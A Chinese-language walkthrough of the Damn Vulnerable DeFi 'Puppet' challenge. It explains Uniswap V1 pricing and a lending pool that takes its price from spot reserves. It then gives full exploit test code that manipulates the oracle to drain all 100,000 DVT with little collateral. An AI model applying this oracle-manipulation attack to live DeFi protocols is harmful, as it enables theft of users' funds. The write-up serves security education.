該死的脆弱 DeFi 是一個 DeFi 智能合約攻擊挑戰系列。內容包括了閃電貸攻擊、借貸池、鏈上預言機等。在開始之前你需要具備 Solidity 以及 JavaScript 相關的技能。針對每一題你需要做的就是保證該題的單元測試能夠通過。
題目鏈接:https://www.damnvulnerabledefi.xyz/challenges/8.html
題目描述:
有一個借貸池提供 DVT 代幣的借貸服務,但需要先存入兩倍價值的 ETH 作為抵押物。現在這個池子裡有 100000 個 DVT。
UniswapV1 現在有交易對 ETH-DVT,且有 10 ETH 和 10 DVT。
現在你有 25 個 ETH 和 1000 DVT。你需要竊取借貸池中的所有代幣。
借貸合約 PuppetPool.sol 提供的借貸的功能如下
// 借出 DVT,但前提是存入兩倍價值的等額 ETH
function borrow(uint256 borrowAmount) public payable nonReentrant {
// 計算需要存入的 ETH 數量
uint256 depositRequired = calculateDepositRequired(borrowAmount);
require(msg.value >= depositRequired, "Not depositing enough collateral");
// 返還多存的 ETH
if (msg.value > depositRequired) {
payable(msg.sender).sendValue(msg.value - depositRequired);
}
// 保存 msg.sender 存入的 ETH 數量
deposits[msg.sender] = deposits[msg.sender] + depositRequired;
// 將 DVT token 傳給 msg.sender
require(token.transfer(msg.sender, borrowAmount), "Transfer failed");
emit Borrowed(msg.sender, depositRequired, borrowAmount);
}
該方法主要做了以下幾件事:
- 根據借出的
DVT數量,計算需要存入ETH的數量depositRequired - 確保調用時存入的
ETH數量是大於depositRequired,如果存入的多了,會返還差值。 - 保存存入的
ETH數量,並借出DVT
計算需要存入 ETH 的數量是根據 uniswapv1 中配對合約 ETH-DVT 的流動性來計算。這裡先簡單介紹下 uniswapv1 中的合約及其方法。
共有兩種合約:
-
Factory工廠合約,用來創建並部署配對合約。核心方法是createExchange(token: address): address用來創建ETH對token的配對合約並部署,返回配對合約地址。 -
Exchange交易合約,也叫配對合約。在 v1 版本中只有ETH對Token的交易對,不存在Token對Token的交易對。
當通過工廠合約創建了配對合約後,便能調用方法 addLiquidity 向其中添加流動性,也就是將 Token 和 ETH 存入到配對合約中,同時流動性提供者會獲得 LP token 作為提供流動性的憑證。
@payable
addLiquidity(
min_liquidity: uint256,
max_tokens: uint256,
deadline: uint256
): uint256
調用該方法時,除了參數外還需要發送 ETH,參數詳解如下:
min_liquidity流動性提供者期望獲得的最少的LP token數量,如果最後獲得的小於該值,則交易會回滾max_tokens流動性提供者想要提供的最大代幣數量,如果計算得出的代幣數量大於該值,而又不想提供時,則交易回滾deadline提供流動性的截止時間
當配對合約中有了流動性,其他交易者便能進行交易。不同於中心化交易所,交易價格由訂單簿的最新成交價確定。uniswap 中的交易價格是根據恆定乘積公式計算的
其中 和 是配對的兩個幣種的儲備量。
假設有配對合約 ETH-USDT,其中 ETH 有 10 個作為 ,USDT 有 100 個作為 。則
此時要出售 個 ETH,得到 USDT 的數量為 。也就相當於池子中 ETH 的數量變為 ,根據恆定乘積公式:
同理出售 個 USDT,得到 ETH 數量為
這是在沒有手續費的情況下的計算公式,但通常情況中會收取 0.3% 的手續費,並根據流動性提供者所持有 LP token 的比例分配。
在存在手續費的情況下,要出售 個 ETH,相當於實際出售的 ETH 數量是 ,uniswap 為了計算方便,將分子分母同時乘以 1000。
在 uniswap 的 v1 版本中提供了幾個方法用於查詢價格
getEthToTokenInputPrice(eth_sold: uint256): uint256輸入賣出的ETH數量,返回得到的token數量getTokenToEthOutputPrice(eth_bought: uint256): uint256輸入要買的ETH數量,返回需要給出的token數量getEthToTokenOutputPrice(tokens_bought: uint256): uint256輸入要買的token數量,返回需要給出的ETH數量getTokenToEthInputPrice(tokens_sold: uint256): uint256輸入要賣的token數量,返回得到的ETH數量
兌換相關方法如下:
ethToTokenSwapInput(min_tokens: uint256, deadline: uint256): uint256用ETH兌換token:min_tokens是期望得到的最少的token數量。如果調用該方法時發送的ETH數量不足以兌換期望的token數量,則交易失敗。如果足夠,則全額兌換並執行交易。函數返回值為可兌換的token數量。ethToTokenSwapOutput(tokens_bought: uint256, deadline: uint256): uint256用ETH兌換token:調用該方法時發送ETH用以兌換tokens_bought數量的token,如果發送的ETH數量過多,則會返還多餘的數量,函數返回值為實際出售的ETH數量tokenToEthSwapInput(tokens_sold: uint256, min_eth: uint256, deadline: uint256): uint256用token兌換ETHtokenToEthSwapOutput(eth_bought: uint256, max_tokens: uint256, deadline: uint256): uint256用token兌換ETH
再回到題目中,借貸合約 PuppetPool.sol 中計算需要存入的 ETH 數量的方法 calculateDepositRequired
// 計算需要存入的 eth 數量
function calculateDepositRequired(uint256 amount) public view returns (uint256) {
// 抵押物的價值 = 借出的數量 * 價格 * 2
return amount * _computeOraclePrice() * 2 / 10 ** 18;
}
// 計算每個 token 的價值等同於多少 ETH
function _computeOraclePrice() private view returns (uint256) {
// calculates the price of the token in wei according to Uniswap pair
return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);
}
從代碼中可以看出,token 的價值來自於 uniswap 配對的兩個幣種的儲備量。
假設有配對合約 ETH-UNI,其中有 100 個 ETH 和 10 個 UNI,則 1 UNI 的價值等同於 10 ETH,即每個 token 價值等於 ,如果能夠增加分母的值或減小分子的值,則會降低每個 token 的價值。
已知條件中黑客持有 25 個 ETH 和 1000 DVT,因此可以用黑客持有的 1000 DVT 去兌換 ETH,此舉會大大增加分母的值並減小分子的值。也就意味著 DVT 的價值會變得很低。
之後再去進行借貸,需要抵押的 ETH 將只需要很少的數量。最後再從 uniswap 中重新兌換回 DVT
it('Exploit', async function () {
const attackerCallLendingPool = this.lendingPool.connect(attacker)
const attackerCallToken = this.token.connect(attacker)
const attackerCallUniswap = this.uniswapExchange.connect(attacker)
// 授權 uniswap 支配 attacker 的 DVT token
await attackerCallToken.approve(attackerCallUniswap.address, ATTACKER_INITIAL_TOKEN_BALANCE)
// 初始餘額
// attacker: ETH balance => 25
// attacker: DVT balance => 1000
// uniswap: ETH balance => 10
// uniswap: DVT balance => 10
// 在 uniswap 中使用 DVT 兌換 ETH
await attackerCallUniswap.tokenToEthSwapInput(
ATTACKER_INITIAL_TOKEN_BALANCE,
ethers.utils.parseEther('1'),
(await ethers.provider.getBlock('latest')).timestamp * 2
)
// attacker: ETH balance => 34.900571637914797588
// attacker: DVT balance => 0
// uniswap: ETH balance => 0.099304865938430984
// uniswap: DVT balance => 1010
// 計算需要抵押的 ETH 數量
const collateralCount = await attackerCallLendingPool.calculateDepositRequired(POOL_INITIAL_TOKEN_BALANCE)
// 借出 DVT
await attackerCallLendingPool.borrow(POOL_INITIAL_TOKEN_BALANCE, {
value: collateralCount
})
// collateralCount = 19.6643298887982
// attacker: ETH balance => 15.236140794921379778
// attacker: DVT balance => 100000.0
// uniswap: ETH balance => 0.099304865938430984
// uniswap: DVT balance => 1010.0
// 計算從 uniswap 兌換 ATTACKER_INITIAL_TOKEN_BALANCE 數量的 DVT 需要多少 ETH
const payEthCount = await attackerCallUniswap.getEthToTokenOutputPrice(ATTACKER_INITIAL_TOKEN_BALANCE, {
gasLimit: 1e6
})
// payEthCount = 9.960367696933900101
// 兌換 DVT
await attackerCallUniswap.ethToTokenSwapOutput(
ATTACKER_INITIAL_TOKEN_BALANCE,
(await ethers.provider.getBlock('latest')).timestamp * 2,
{
value: payEthCount,
gasLimit: 1e6
}
)
// attacker: ETH balance => 5.275716174066780228
// attacker: DVT balance => 101000.0
// uniswap: ETH balance => 10.059672562872331085
// uniswap: DVT balance => 10.0
})
攻擊者利用 uniswap 操縱價格,用 19.6643298887982 ETH 作為抵押物成功借出了 100000 DVT。而如果直接借的話,則需要付出的成本為 200000 ETH
最後執行 yarn puppet 測試通過!